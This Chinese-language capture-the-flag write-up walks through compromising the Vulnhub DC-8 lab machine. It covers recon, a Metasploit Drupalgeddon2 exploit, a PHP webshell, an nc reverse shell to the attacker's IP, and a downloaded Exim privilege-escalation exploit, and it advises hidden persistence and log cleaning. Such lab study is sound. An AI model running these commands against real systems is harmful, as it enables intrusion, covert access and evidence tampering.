1. DC-8靶机渗透测试实战解析
作为一名网络安全从业者,我最近在本地授权环境中完成了DC-8靶机的渗透测试。这个靶机来自Vulnhub平台,是一个专门为网络安全学习设计的虚拟机镜像。通过这个实战演练,我系统性地练习了从信息收集到权限提升的完整渗透流程,下面将详细记录我的解题思路和操作过程。
重要提示:本文所有操作均在合法授权的测试环境中进行,严禁用于任何非法用途。读者应自觉遵守《网络安全法》及相关法律法规。
1.1 环境准备与目标确认
首先从Vulnhub官网下载DC-8的OVA文件,导入到VMware Workstation中。我的测试环境配置如下:
- 攻击机:Kali Linux 2023.4 (IP: 192.168.0.10)
- 靶机:DC-8 (网络模式设置为NAT)
启动后首先需要确定靶机的IP地址。在Kali终端中执行:
arp-scan -l这个命令会扫描本地网络中的所有活跃设备。从输出中可以发现除了网关(192.168.0.1)和我的Kali主机(192.168.0.10)外,还有一个VMware设备的IP是192.168.0.11,这就是我们的目标靶机。
为了确认目标确实运行着DC-8,我使用nmap进行快速扫描:
nmap -sP 192.168.0.0/24-sP参数表示Ping扫描,可以快速确认主机存活状态。扫描结果验证了192.168.0.11是我们需要渗透的目标。
2. 信息收集与漏洞探测
2.1 端口与服务扫描
全面的端口扫描是渗透测试的第一步。我使用nmap的-sV参数进行详细扫描:
nmap -sV -p- 192.168.0.11关键扫描结果:
- 22/tcp: OpenSSH 7.4p1
- 80/tcp: Apache httpd
这个结果表明目标开放了两个主要服务:SSH和Web。OpenSSH 7.4p1是较旧的版本,可能存在已知漏洞,但优先考虑Web应用,因为通常攻击面更大。
2.2 Web目录枚举
使用dirsearch工具对Web目录进行扫描:
dirsearch -u http://192.168.0.11扫描结果显示大量403和404响应,但注意到/install.php返回200状态码,这通常意味着网站可能使用CMS系统(如Drupal)且安装文件未被删除,这是一个潜在的风险点。
访问http://192.168.0.11后,发现是一个简单的网页,没有明显的CMS特征。查看页面源代码发现了一些线索:
- 页面底部有"Powered by Drupal"的注释
- 存在/user/login路径,这是Drupal的默认登录页面
2.3 Drupal版本识别
为了确认Drupal版本,我尝试了以下方法:
- 访问CHANGELOG.txt文件:http://192.168.0.11/CHANGELOG.txt
- 查看INSTALL.txt文件:http://192.168.0.11/INSTALL.txt
从CHANGELOG.txt中确认系统运行的是Drupal 7,这是一个已知存在多个漏洞的版本。特别是Drupalgeddon2 (CVE-2018-7600)远程代码执行漏洞,可能成为我们的突破口。
3. 漏洞利用与初始访问
3.1 Drupalgeddon2漏洞利用
Drupalgeddon2漏洞允许攻击者通过特制的URL参数实现远程代码执行。我使用Metasploit框架中的exploit模块:
msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.0.11 exploit成功获取了一个meterpreter会话!现在我们已经获得了www-data用户的权限。
3.2 权限维持与后门安装
为了防止会话丢失,我决定安装一个持久的后门:
- 首先查看当前用户权限:
whoami id确认是www-data用户,权限有限。
- 上传简单的PHP webshell到服务器:
echo '<?php system($_GET["cmd"]); ?>' > shell.php通过浏览器访问http://192.168.0.11/shell.php?cmd=id可以执行命令。
- 同时建立SSH反向连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.10 4444 >/tmp/f在我的Kali上监听4444端口,获得了一个更稳定的shell。
4. 权限提升与系统控制
4.1 本地信息收集
在获得的shell中,我首先收集系统信息:
uname -a cat /etc/passwd find / -perm -4000 2>/dev/null发现系统运行的是Linux 4.9.0-8-amd64内核,并找到一个有趣的SUID二进制文件:/usr/bin/exim4。
4.2 Exim提权漏洞利用
研究后发现这个版本的Exim存在本地提权漏洞(CVE-2019-10149)。我下载了公开的利用代码并在目标机器上编译:
wget http://192.168.0.10/exploit.c -O /tmp/exploit.c gcc /tmp/exploit.c -o /tmp/exploit chmod +x /tmp/exploit /tmp/exploit成功获取root权限!现在可以查看flag文件了:
cat /root/flag.txt5. 安全加固建议
通过这次渗透测试,我发现DC-8靶机存在多处安全隐患:
Drupal版本过旧:
- 应立即升级到最新版本
- 删除install.php等不必要的文件
Exim服务配置不当:
- 更新Exim到无漏洞版本
- 移除不必要的SUID权限
系统维护不足:
- 定期检查并更新所有软件包
- 实施最小权限原则
6. 渗透测试心得
在这次DC-8靶机演练中,有几个关键点值得注意:
信息收集要全面:
- 不要忽视任何看似微小的线索(如CHANGELOG.txt)
- 多种工具结合使用可以提高发现率
漏洞利用要精准:
- 确认漏洞适用性后再尝试利用
- 准备好备用方案(如多个漏洞利用路径)
权限维持要隐蔽:
- 使用多种方式保持访问权限
- 定期检查后门是否仍然有效
痕迹清理要彻底:
- 删除上传的脚本和工具
- 清理日志文件中的可疑记录
这个靶机很好地模拟了真实世界中的Web应用安全场景,通过实践我加深了对Drupal漏洞和Linux提权技术的理解。建议网络安全学习者可以多尝试这类实战演练,但切记要在合法授权范围内进行。